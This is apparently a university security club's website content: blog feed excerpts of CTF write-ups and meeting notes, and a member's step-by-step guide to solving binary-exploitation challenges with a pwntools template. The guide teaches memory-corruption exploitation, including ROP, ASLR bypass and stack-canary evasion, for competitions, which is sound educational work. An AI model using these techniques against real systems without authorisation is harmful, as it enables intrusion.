11000001100101000011101111011111. +She’s always been a bit cryptic. She told me to “surround with gigem{} that which can be seen from a bird’s eye view”… what? +Solution Ok. We know that we need to somehow interpret those binary strings as coordinate(s) to get a location that we can look at from “bird’s eye view” (presumably on Google Maps).Codestin Search Apphttps://osusec.org/blog/tamuctf-russian_nesting_dolls/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-russian_nesting_dolls/Prompt Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look? +Files: netlogs.pcap +Solution Opening the PCAP up in wireshark shows that there are quite a few (37991) DNS packets, as well as a smattring of others (Statistics &gt; Protocol Hierarchy). Let’s look at the remaining packets first, as there are only a few of them:Codestin Search Apphttps://osusec.org/blog/tamuctf-woof_woof/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-woof_woof/Prompt (I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :() +The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format GIGEM-.... +reveille.png +Solution After running strings on the image to no result, we open this image up in stegsolve, and examine the file format Analyze &gt; File Format. We see the usual stuff, except for: +Comment data Length: 1aa (426) Dump of data: Hex: 01aa776f6f662077 6f6f66206261726b 2072756666206261 726b206261726b20 7275666620776f6f 6620776f6f662062 61726b2072756666 206261726b207275 666620776f6f6620 776f6f6620727566 6620776f6f662062 61726b206261726b 206261726b206261 726b20776f6f6620 7275666620776f6f 66206261726b2062 61726b2072756666 20776f6f6620776f 6f6620776f6f6620 776f6f6620776f6f 6620727566662077 6f6f6620776f6f66 206261726b207275 666620776f6f6620 7275666620626172 6b20776f6f662077 6f6f66206261726b 20776f6f66206261 726b207275666620 6261726b20626172 6b206261726b2072 75666620776f6f66 2072756666206261 726b20776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b20776f 6f66206261726b20 7275666620626172 6b20776f6f662077 6f6f6620776f6f66 207275666620776f 6f6620776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b206261 726b206261726b20 7275666620776f6f 66206261726b2062 61726b206261726b 206261726b20776f 6f66 Ascii: .Codestin Search Apphttps://osusec.org/blog/tamuctf-rsapwn/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-rsapwn/Prompt We must train the next generation of hackers. +nc challenges.tamuctf.com 8573 +Solution It looks like this just asks us to find the two “big prime” factors of the number provided, and return them. Athos’ script does exactly that: +python3 ./exploit.py [+] Opening connection to challenges.tamuctf.com on port 8573: Done b&#39;We must train future hackers to break RSA quickly. Here is how this will work.\nI will multiply together two big primes (&lt;= 10000000), give you the result,\nand you must reply to me in less than two seconds telling me what primes I\nmultiplied.Codestin Search Apphttps://osusec.org/blog/volgactf-excellent-crackme/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/volgactf-excellent-crackme/Prompt Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this… +excel_crackme +Solution An excel challenge – that’s a first for us! Let’s crack that file open. We used LibreOffice, as Excel was not installed and Libreoffice was. Upon opening, we are greeted with a message that mentions that macros will not be run for security reasons. we’ll look into that in a sec, thank you, LibreOffice.Codestin Search Apphttps://osusec.org/blog/officer-elections-on-3-12/Tue, 03 Mar 2020 00:00:00 -0700https://osusec.org/blog/officer-elections-on-3-12/Next week, we will be having officer elections! This is a great way to get more involved with the club and help represent the College of Engineering. tl;dr Come vote on Thursday, 3/12 at 7pm in KEC 1003. We will have pizza. +I have been the president of the OSU Security Club for nearly 3 years now, and I have loved every second of it. Being able to work with all of you has had a tremendous impact on my college experience, and I thank each and every one of you for contributing to that.Codestin Search Apphttps://osusec.org/blog/welcome-to-damctf/Sat, 22 Feb 2020 00:00:00 -0700https://osusec.org/blog/welcome-to-damctf/shamir_babytcache101Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-3/Thu, 03 Oct 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-3/Thanks for the great turnout again tonight! We went over some tools you can use for the NSA Codebreaker challenge. +Here is a link to the slides (requires ONID sign-in): Google Slides +Next week’s CTF meeting is slightly changed, it will be at 7pm in KEC 1003 on Tuesday, 10/8.Codestin Search Apphttps://osusec.org/blog/meeting-notes-9-26/Fri, 27 Sep 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-9-26/Thanks everyone for coming out to our first meeting! We had over 50 people in attendance, and introduced the OSU Security Club, what we do, what we stand for, our plans for the year, and worked on a couple introductory CTF challenges. +Here is a link to the slides (requires ONID login): Google Slides +Next week we have two meetings: +The first CTF meeting is Tuesday, 10/1 @ 6:30pm in KEC 1005.Codestin Search Apphttps://osusec.org/blog/nsa-visit/Thu, 26 Sep 2019 00:00:00 -0700https://osusec.org/blog/nsa-visit/Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance for the talk. +The talk was focused around the NSA Codebreaker Challenge, which just started last weekend (Oregon State won last year, and is currently in 2nd place). There was also a long Q&amp;A session following the talk, where club members were able to ask questions about the challenge, in addition to general curiosities about the National Security Agency.Codestin Search Apphttps://osusec.org/blog/defcon-qualifiers-2019-redacted-puzzle/Sun, 12 May 2019 00:00:00 -0700https://osusec.org/blog/defcon-qualifiers-2019-redacted-puzzle/The only file given is a GIF image, named redacted-puzzle.gif. We must first inspect it: +$ exiftool redacted-puzzle.gif ExifTool Version Number : 10.80 File Name : redacted-puzzle.gif Directory : . File Size : 78 kB File Modification Date/Time : 2019:05:10 17:05:42-07:00 File Access Date/Time : 2019:05:10 17:05:42-07:00 File Inode Change Date/Time : 2019:05:10 17:26:26-07:00 File Permissions : rwxrwxrwx File Type : GIF File Type Extension : gif MIME Type : image/gif GIF Version : 89a Image Width : 1280 Image Height : 720 Has Color Map : Yes Color Resolution Depth : 3 Bits Per Pixel : 2 Background Color : 3 Animation Iterations : Infinite Frame Count : 35 Duration : 8.Codestin Search Apphttps://osusec.org/blog/meeting-notes-5-9/Thu, 09 May 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-5-9/Today we hosted Ryan Gurr and Alex Ryan from Fidelis Cybersecurity, who talked about their experiences and background in information security, and showed a cool demo of Fidelis’s platform. +If you have any questions for Ryan or Alex, please contact them, they said they’d love to answer any questions you may have, related to Fidelis or not. You can get their contact info here.Codestin Search Apphttps://osusec.org/blog/2019-2020-officers/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/2019-2020-officers/Here are the new officers for the 2019-2020 school year: +President: Zander Work Vice President: Hadi Rahal-Arabi Treasurer: David Park Multimedia Coordinator: Adam Stewart Lab Manager: Ryan Kennedy Recruitment/Public Relations: Alex Rash Thanks to everyone who participated!Codestin Search Apphttps://osusec.org/blog/angstromctf-streams/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/angstromctf-streams/Problem White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here. +Note: The flag is all lowercase and follows the standard format (e.g. actf{example_flag}) +Author: ctfhaxor +Points: 70 +Hint: Are you sure that’s an mp4 file? What’s inside the file? +Solution First, we deduced some information about the challenge by reading the description. “The flag is all lowercase” implies that we will be constructing it letter by letter, possibly from audio.Codestin Search Apphttps://osusec.org/blog/angstromctf-lithp/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/angstromctf-lithp/Problem My friend gave me this program but I couldn’t understand what he was saying – what was he trying to tell me? +Author: fireholder +Points: 60 +Solution First things first, let’s open that lisp program . . . It actually is lisp… oh god what have I just gotten into? +The first lines were most important in solving this challenge the way I did it. It reads: +(defparameter *encrypted* &#39;(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312)) (defparameter *flag* &#39;(redacted)) (defparameter *reorder* &#39;(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20)) Well, then.Codestin Search Apphttps://osusec.org/blog/meeting-notes-4-18/Thu, 18 Apr 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-4-18/Tonight I gave a tutorial on IDA Pro basics, and how to get started with this awesome tool. I also released some new binaries on the CTF site for you to practice IDA. +Remember, as a OSU Security Club member you have access to our lab systems, which has the full version of IDA Pro and the Hex-Rays Decompiler installed, so make sure to use those if you want to take advantage of the advanced functionality.Codestin Search Apphttps://osusec.org/blog/2019-2020-officer-elections-on-april-25th/Tue, 16 Apr 2019 00:00:00 -0700https://osusec.org/blog/2019-2020-officer-elections-on-april-25th/We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of Engineering. +Here are the positions (link goes to position duties): +President Vice President Treasurer Multimedia Coordinator Lab Manager To run for a position, please do the following: +Fill out this form no later than April 23rd Send a slide (one slide) to security.Codestin Search Apphttps://osusec.org/blog/prccdc-2019-results/Sun, 24 Mar 2019 00:00:00 -0700https://osusec.org/blog/prccdc-2019-results/This past weekend, OSUSEC competed at the Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) hosted by Highline College. I’m pleased to announce that we placed 3rd out of 13 teams in this tough competition. +PRCCDC is a 2 day competition where each team must secure a mix of approximately 10 Windows and Linux systems, configure a border firewall, monitor and defend against attacks from the Red Team, and work with business users over the phone throughout the event.Codestin Search Apphttps://osusec.org/blog/utctf-2019-crackme/Mon, 11 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-crackme/This was a 1200 point reversing challenge (tied for highest point value in the category). Here’s the description: +This what we see when we run the binary: +$ ./crackme Please enter the correct password. &gt;pls Incorrect password. utflag{wrong_password_btw_this_is_not_the_flag_and_if_you_submit_this_i_will_judge_you} Let’s take a look at the code in IDA Pro: +Here’s what the decompilation shows: +Read in 64 bytes from stdin Call divide(32, 0), and save the return value to v4 xor our input at index v4 with 8 Replace a few characters of our input with ‘D’ xor each character in our input with 0x27 Now we see “stuff[j] = stuff2[202 – j] ^ (stuff[j] – 1);”.Codestin Search Apphttps://osusec.org/blog/utctf-2019-scrambled/Mon, 11 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-scrambled/Tl;dr Cool encoding using Rubik’s cube, I wrote a Python script. +This was a 1250 point Forensics challenge (highest points in the category). Here’s the description: +By the time I took a look at the challenge, they had released a hint as well: +Based on the hint, I quickly discovered that the challenge description described ways of manipulating a Rubik’s Cube: +Googling the hint (“rubikstega”) leads to a paper entitled “Rubikstega: A Novel Noiseless Steganography Method in Rubik’s Cube” (link).Codestin Search Apphttps://osusec.org/blog/utctf-2019-rogue-leader/Sun, 10 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-rogue-leader/Problem Description Our once-venerable president has committed the unspeakable crime of dine-and-dashing the pizza during our own club meetings. He’s on the run as we speak, but we’re not sure where he’s headed. +Luckily, he forgot that we had planted a packet sniffer on his laptop, and we were able to retrieve the following capture when we raided his apartment: [pcap]. +He’s too smart to email his plans to himself, but I’m certain he took them with him somehow.Codestin Search Apphttps://osusec.org/blog/meeting-notes-3-7/Thu, 07 Mar 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-3-7/Thanks to Kees Cook for an awesome look at kernel security! Kees talked about how the kernel exploit for CVE-2017-7038 was discovered, which allowed privilege escalation due to a heap overflow. +You can see his slides here, which also has information for building the POC images for the exploit. +This was our last meeting for Winter 2019, so I’ll see you all next term! Our first meeting will be on Week 2.Codestin Search Apphttps://osusec.org/blog/meeting-2-28-osusec-lab/Thu, 28 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-28-osusec-lab/Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information about the lab environment, please see the dedicated page for it.Codestin Search Apphttps://osusec.org/blog/meeting-2-21/Thu, 21 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-21/Tonight we hosted Karl Fosaaen from NetSPI, and he gave an awesome talk on pentesting in an Azure environment. +If you’re interested in learning more about this, check out the NetSPI blog or the Azure pentesting book he mentioned. Karl’s post on using Azure RunAs certificates is now live here.Codestin Search Apphttps://osusec.org/blog/meeting-2-14/Thu, 14 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-14/Tonight I went over some basic usage of GDB, IDA Pro, and pwntools for solving the first pwnables on our CTF site. +Link to the slides (requires ONID login). The slides have information on getting the tools installed, so if you are having issues with that, check the slides out.Codestin Search Apphttps://osusec.org/blog/meeting-2-7/Thu, 07 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-7/Today we continued discussing reverse engineering and introduced 64-bit assembly. There are more samples on the GitHub repo. +The only announcement for today is to RSVP for our upcoming event with NetSPI! They will be coming back on 2/21 to do a presentation on penetration testing, and answer any questions you may have. The RSVP is just so I can get a head count for pizza. RSVP here +There are new challenges up on CTFd, rev[1-3]-64.Codestin Search Apphttps://osusec.org/blog/meeting-1-31/Thu, 31 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-31/Today we talked about some basic reverse engineering, and compare/contrasting x86 assembly with C code. +There are some new challenges up on CTFd, rev[1-4] +Link to the slides (requires ONID login)Codestin Search Apphttps://osusec.org/blog/meeting-1-24/Thu, 24 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-24/Tonight we worked on buffer overflows, and some binaries on the new OSUSEC CTF platform. +Slides (requires ONID login) +Next week, we’re going to work on similar binaries, but comparing the assembly code with the C code.Codestin Search Apphttps://osusec.org/blog/meeting-1-17/Thu, 17 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-17/Tonight we talked about some CTF tools and did a walkthrough for “start” on pwnable.tw. You can read a detailed writeup for this binary on the OSUSEC GitHub. +Here’s a link to the slides (requires ONID login): Slides +For those of you who felt lost tonight, my apologies! I received some great feedback, and will have some easier binaries for next week, which will allow me to work on establishing a better baseline for everyone.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-2018-task-6/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-2018-task-6/Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development) +Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether (not including transaction costs). We are given the source for three smart contracts: the Escrow contract, the Ransom contract, and the Registry contract. +Decryption Overview Let’s first look at the intended method of recovering the decryption key. +From the Escrow contract, the victim calls payRansom() to pay the ransom amount.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-2018-task-7/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-2018-task-7/Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development) +Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds in the Escrow contract, then transfer the funds to the victims. Recall that from task 6, we found that we could deploy and authenticate arbitrary ransom contracts. +Scanning for Vulnerabilities A natural place we can start looking for a vulnerability is the requestRefund() function.Codestin Search Apphttps://osusec.org/blog/meeting-1-10/Thu, 10 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-10/Thanks for a great first meeting for Winter 2019! +Here is a link to the slides (requires ONID login): Slides +For those of you who were unable to make it, here’s a brief summary of what we went over. Mostly, it was just talking about what’s coming for the rest of the term: +Updates on the OSUSEC Lab It’s coming. Windows is almost ready and then I’ll be working on Linux.Codestin Search Apphttps://osusec.org/blog/welcome-to-winter-2019/Tue, 08 Jan 2019 00:00:00 -0700https://osusec.org/blog/welcome-to-winter-2019/Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term. +Some things to look forward to for this term: +I’m working with NetSPI to have them come back with a more technical presentation and hopefully some labs, so that will be awesome. PRCCDC is in March, with qualifiers in Februrary, so we will be working on putting together a team for that.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-challenge-2018-results/Sun, 06 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-challenge-2018-results/The NSA Codebreaker Challenge finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is awesome! +For those of you who are unfamiliar with the Codebreaker Challenge, it is a CTF-style event put on every year in the fall by the National Security Agency usually featuring some reverse engineering, vulnerability analysis, and exploit development, along with something unique to keep things interesting.Codestin Search Apphttps://osusec.org/blog/cyberforce-competition-2018-results/Tue, 04 Dec 2018 00:00:00 -0700https://osusec.org/blog/cyberforce-competition-2018-results/I’m thrilled to announce that OSUSEC placed 1st at the Cyberforce Competition last weekend at PNNL, and 3rd nationwide out of 70 teams! I’m very proud of everyone’s hard work, and am already excited with new ideas for next year. The university is sending out a press release on Thursday so I’ll update this post with a link to that when it comes out. +Link to the competition website: https://cyberforcecompetition.com/Codestin Search Apphttps://osusec.org/blog/meeting-11-15/Fri, 16 Nov 2018 00:00:00 -0700https://osusec.org/blog/meeting-11-15/Thanks for a great last meeting for the Fall term! +I gave a talk on all of the low-level architecture and x86 assembly content needed to get started with binary pwning, here is a link to the slides. Hopefully, this is enough to get you all started! +Have a great winter break!Codestin Search Apphttps://osusec.org/blog/meeting-11-01/Thu, 01 Nov 2018 00:00:00 -0700https://osusec.org/blog/meeting-11-01/Thanks to Karl Fosaaen from NetSPI for the awesome presentation on an introduction to penetration testing! Remember, if you want to learn about these things on your own, please make sure to do it on your own network and devices. I’ll update this post with a link to the slides when they become available. +I don’t have any announcements for this week, so I’ll see you all next week!Codestin Search Apphttps://osusec.org/blog/meeting-10-25/Thu, 25 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-25/Thanks to Emily for the great talk on SIEMs (Security Incident and Event Management)! Here is a link to the slides. +Announcements from tonight’s meeting: +Make sure to RSVP for the NetSPI event happening next week (during our normal meeting time)! Here is a link to the form. Oct. 25 is the last day to RSVP. Those of you on the team for Cyberforce Competition, make sure to send your badge forms to PNNL.Codestin Search Apphttps://osusec.org/blog/hitcon-ctf-2018-ev3-basic/Mon, 22 Oct 2018 00:00:00 -0700https://osusec.org/blog/hitcon-ctf-2018-ev3-basic/Link to Github +Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways. +EV3 is the latest generation of the LEGO Mindstorms robots, and thanks to this challenge I know a lot more about the Mindstorms Communication and Firmware Developer Kits than I ever thought I would. +The challenge includes two files: A picture of the screen of the robot, and a .Codestin Search Apphttps://osusec.org/blog/meeting-10-11/Thu, 18 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-11/Thanks Zach for the awesome presentation tonight on Network Security Monitoring! I’ll update this post with a link to the slides once they are available. +Announcements from tonight’s meeting: +Make sure you are on Discord/SLI. Links are on the homepage for those. We will be hosting NetSPI on November 1st. They will be bringing pizza, so please RSVP for this so we can get a head count and information on dietary restrictions.Codestin Search Apphttps://osusec.org/blog/meeting-10-4/Thu, 04 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-4/Thanks to Akshith for a great presentation on Blockchain! For those of you who were unable to make it, here is a link to the slides: https://drive.google.com/file/d/1-PVTrV6JO6DFnFFz415_JvZ52J-DXJqw/view?usp=sharing +Announcements from today’s meeting: +If you are interested in working in the Information Security Office here at OSU, make sure to apply here: https://jobs.oregonstate.edu/postings/67398. If you have any questions, please contact Emily Longman. No meeting next week (10/11) Applications for Cyberforce Competition will close on October 10th, please fill that out if you are interested: https://goo.Codestin Search Apphttps://osusec.org/blog/meeting-9-27/Thu, 27 Sep 2018 00:00:00 -0700https://osusec.org/blog/meeting-9-27/Thanks for the awesome turnout tonight! I’ll make a permanent reservation for that space, as it seems like we have a lot more members this year, which is fantastic! +Here is a link to the slides for tonight’s meeting: https://docs.google.com/presentation/d/1FyKIu0n8VOtbkOpgnoEFbv3iV2xa7JGM1sUMZdFvLKg/edit?usp=sharing (NOTE: you need to sign in with your OSU account to view them) +Please make sure you register with the club via SLI (Link: https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b). +This weekend we (officers) will be revamping the resources page to provide some guidance for those who are brand new to security and those who have been 1337 pwners for years alike.Codestin Search Apphttps://osusec.org/blog/cyberforce-competition/Wed, 26 Sep 2018 00:00:00 -0700https://osusec.org/blog/cyberforce-competition/The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready! +If you are interested in being on the team for this competition, please fill out the form here by October 10th. +Requirements for applying: +You will be able to spend time during October and November preparing for the competition by completing a variety of tasks You are able to travel to Washington or California to compete in the competition on November 30th and December 1st We will probably be leaving the night of the 29th Even if you think you might not be qualified enough, I’d still wholly encourage you to apply.Codestin Search Apphttps://osusec.org/blog/csaw-prep/Wed, 01 Aug 2018 00:00:00 -0700https://osusec.org/blog/csaw-prep/It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows: +Register on CSAW 365 (https://365.csaw.io/) Join our class so that I can keep track of your score (Please check Discord or your email for the class code) Work on solving challenges through the end of August.Codestin Search Apphttps://osusec.org/blog/osusec-wins-department-of-energy-cyber-defense-competition/Sun, 08 Apr 2018 00:00:00 -0700https://osusec.org/blog/osusec-wins-department-of-energy-cyber-defense-competition/Over the past weekend, OSUSEC competed in the Department of Energy Cyber Defense Competition (DOE CDC), and placed 1st regionally (US West), and 4th nationwide. The team was responsible for deploying multiple Windows and Linux systems and securing them against live attacks for 8 hours. +The members of the team were: +Zander Work Zach Rogers Cody Holliday Hadi Rahal-Arabi Khuong Luu Aidan Grimshaw Great job guys! \ No newline at end of file diff --git a/blog/jonathans-workflow/index.html b/blog/jonathans-workflow/index.html new file mode 100644 index 0000000..2c87a1f --- /dev/null +++ b/blog/jonathans-workflow/index.html @@ -0,0 +1,37 @@ + +Codestin Search App

How I Approach pwn Challenges

How I Approach pwn Challenges

Jonathan Keller

Tags

The below write-up was posted in our internal CTF League discord server. Replicated here for posterity.

Generally, my process for a pwn challenge is:

1. Recon

  • Figure out what kind of program you’re dealing with – run file to see what kind of binary it is, maybe checksec to see what kind of security measures it has, figure out how to get it to run on your system
  • Run the program a few times as a user, just so you can be familiar with what it does. It’s much easier to reverse engineer code when you have some idea of what it’s trying to accomplish.
    • You can also try giving it weird/invalid input – ridiculously long strings, invalid/out-of-bounds/misformatted values, etc. – just to see how it behaves. If you get unexpected behavior – and especially a crash – take note. You’re looking for bugs, and you just found one.
    • One time Andrew (former OSUSECer and legendary ctf god) got a flag by entering aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa into a challenge
  • Open up the program in your decompiler of choice, run auto analysis

2. Revving

  • Start reverse-engineering the code. main is often a good place to start. Try to figure out what it does. As you identify the purpose of functions/variables/blocks of code, give them names and comments. When you see things that look like structs (functions accessing a lot of *(somePointer + 4) etc), create struct types.
  • You WILL get stuck often when reverse-engineering, because you are constantly missing the forest for the trees – the disassembler/decompiler gives you very low-level steps of the program, and turning that into a high level “what does this code do” is hard. If you’re making progress revving a piece of code, stick with it & related functions – the notes and names you make there will shed light on the rest of the program. But once you start spinning your wheels and not making progress, here’s some tips:
    • Take a break from the function you’re stuck on, start working on a different part of the program and come back later. That way, you can see the program’s data structures and variables from different angles, giving you a more complete picture of how they’re created and used.
      • Sometimes, I’ll switch back and forth between working “forwards” along the call graph from main to the leaf functions, and “backwards” from the leaf functions to main. Higher-level functions are more useful for understanding the overall structure of the program; leaf functions are useful for understanding smaller components in more detail.
    • Use your intuition to fill in the code. Think about what the program needs to do to fulfill its design requirements, and think about how you would write that code (like, “I’d write a loop over the pokemon in my array, searching for the one with the highest HP value”). Then, look for code that matches that structure within the binary (is there a loop that iterates over an array of some objects and compares some field over them?)
    • If you’re not sure what something does, take a guess. If you’re not sure what a piece of code does but you can take a plausible guess given the context, name it what you think it might be, then read the rest of the code and see if it makes sense – you can always change the name later.
      • If you have no idea what something does, give it the best name you can anyway. A stupid name like maybe_allocate_some_buffer_or_something is infinitely more helpful than sub_1234.
    • If a variable doesn’t make sense, try running the program in a debugger and watching its values.
    • If you see a huge chunk of hundreds of lines of terrifying bitwise operators and weird loops and pointer arithmetic, it’s probably memcpy.
      • More generally speaking, understand the signatures and implementations of common functions/library code.
      • Sometimes, binaries have bits of open-source libraries compiled into them. If you see any distinctive-looking strings or function names, try Googling them to see if they’re part of any publicly available code.
    • If a bit of decompiled code looks weird to you, the assembly might be easier to read.
    • Decompilers aren’t always right about the type and number of function parameters. Understand the calling conventions of your architecture, and look at the assembly if something looks odd.
      • If you see a value getting moved into an argument register right before calling a function, it’s probably an argument even if your decompiler doesn’t think so.
      • If the decompiler thinks an argument is getting passed into a function, but that argument is never used, maybe it’s actually just a leftover register value.
    • Some things aren’t worth your time to reverse-engineer – if the code looks like boilerplate, compiler-generated, or part of library/system code, no need to waste time revving it. You don’t need to rev the whole program – just don’t skip the part with the bug!

3. Vuln Hunting

  • Once you’ve reverse-engineered to the point that you have a good understanding of the internals of the program, look for the bug!
    • Pwn challenges are usually memory-corruption-based, so look for memory bugs (buffer overflow, use-after-free, etc.)
    • Get the program to crash somehow, don’t worry about the precise inputs as long as you find something that crashes and you understand why
    • Automate a testcase for the crash in pwntools. From now on, you’ll be interacting with the program pretty much exclusively through pwntools and GDB. Automating the necessary inputs will save you a LOT of time.
      • My pwntools template looks like this, feel free to steal or adapt:
#!/usr/bin/env python3
+
+from pwn import *
+
+{bindings}
+
+context.binary = {bin_name}
+debug_script='''
+decompiler connect binja
+'''
+
+def conn():
+    if args.REMOTE:
+        p = remote("addr", 1337)
+    elif args.D:
+        p = gdb.debug([{bin_name}.path], gdbscript=debug_script, env=[('SHELL', '/bin/bash')])
+    else:
+        p = process([{bin_name}.path])
+
+    return p
+
+def main():
+    p = conn()
+    
+    # tick 197 certified
+
+    p.interactive()
+
+
+if __name__ == "__main__":
+    main()
+

4. Exploit Development

  • Look at the crash in gdb, make sure you understand how it’s crashing.
    • You can use a GDB script to automatically run the program/set useful breakpoints/print out useful things every time you run your exploit script.
    • Think about how you can control the crash. What can you overwrite? If you can control a return address or function pointer, great! If not, you either need to use the control you have to corrupt the program even further, or you need to find a way to get the flag without arbitrary code execution.
  • Figure out a proof-of-concept of what memory addresses you need to overwrite, and what you can put in your input to control those addresses. Put distinctive values in your script like 0xAAAAAAAA or “ZZZZZZZZ” or something so you can see them show up in memory.
  • Figure out how to defeat any security measures.
    • W^X: use onegadget or ROP techniques instead of shellcoding
    • ASLR: either find a way to get the program to leak a memory address, or find a way to corrupt part of a pointer or an offset/index instead of a whole pointer
      • The fact that modern CPUs are little-endian can help – if you can get a buffer overflow to stop midway through a pointer, you can control that to overwrite just the low bytes
      • If you have the ability to leak one or two pointers per execution, but not enough at one time for full arbitrary code execution, you can overwrite the return address of a function to jump back to main – effectively re-running the program with the same ASLR seed
    • Stack canaries: you must either corrupt data before the canary, find a way to “jump over” the canary, or somehow get the value of the canary and overwrite the canary with itself
  • pwndbg is your best friend in the whole wide world

Once it works locally, run it on remote and hope it works there too!

  • If not, see if you can get a clue as to why. Maybe some offsets or conditions are slightly different, and oftentimes you can use clever payloads extract the information you need
  • If there’s a Docker container provided, and you didn’t use it before, try running locally with the docker container.

Hope that’s helpful and not too overwhelming. It’s trying to be somewhere between “general mindset” and “useful tips for when you get stuck”, so don’t feel like you have to memorize it and digest it all at once.

\ No newline at end of file diff --git a/blog/meeting-1-10/index.html b/blog/meeting-1-10/index.html new file mode 100644 index 0000000..843a106 --- /dev/null +++ b/blog/meeting-1-10/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 1/10

Meeting 1/10

Zander Work

Tags

Thanks for a great first meeting for Winter 2019!

Here is a link to the slides (requires ONID login): Slides

For those of you who were unable to make it, here’s a brief summary of what we went over. Mostly, it was just talking about what’s coming for the rest of the term:

  • Updates on the OSUSEC Lab
    • It’s coming. Windows is almost ready and then I’ll be working on Linux. If you want access for testing, send me your ONID.
  • We won Codebreaker! More details here.
  • Upcoming events
    • There are some great CTFs coming up this term, check the calendar.
    • PEUx5.5 is on Feb. 1-2. For more info, see here.
    • PRCCDC is coming up. This is our big competition for the term, and I’m confident that we can do really well. If you are interested in participating, please sign up here no later than 1/18. See the slides for more info on PRCCDC (slides 10-13).

Let me know if you have any questions. Thanks, and I’ll see you next week!

\ No newline at end of file diff --git a/blog/meeting-1-17/index.html b/blog/meeting-1-17/index.html new file mode 100644 index 0000000..dad4db1 --- /dev/null +++ b/blog/meeting-1-17/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 1/17

Meeting 1/17

Zander Work

Tags

Tonight we talked about some CTF tools and did a walkthrough for “start” on pwnable.tw. You can read a detailed writeup for this binary on the OSUSEC GitHub.

Here’s a link to the slides (requires ONID login): Slides

For those of you who felt lost tonight, my apologies! I received some great feedback, and will have some easier binaries for next week, which will allow me to work on establishing a better baseline for everyone. I’ll also send out some setup instructions the day before to allow everyone to get the libraries/tools setup beforehand.

Some announcements from tonight’s meeting:

  • We have confirmed guest speakers for Feb. 21 and Mar. 7, so make sure to save the dates for those! They will be at our same meeting time/place (Thursday @ 7pm in KEC 1003)
  • Signups for PRCCDC are due tomorrow (Jan. 18)! If you are interested, sign up here.

Thanks everyone, and I’ll see you next week!

\ No newline at end of file diff --git a/blog/meeting-1-24/index.html b/blog/meeting-1-24/index.html new file mode 100644 index 0000000..e1c03f6 --- /dev/null +++ b/blog/meeting-1-24/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting 1/24

Meeting 1/24

Zander Work

Tags

Tonight we worked on buffer overflows, and some binaries on the new OSUSEC CTF platform.

Slides (requires ONID login)

Next week, we’re going to work on similar binaries, but comparing the assembly code with the C code.

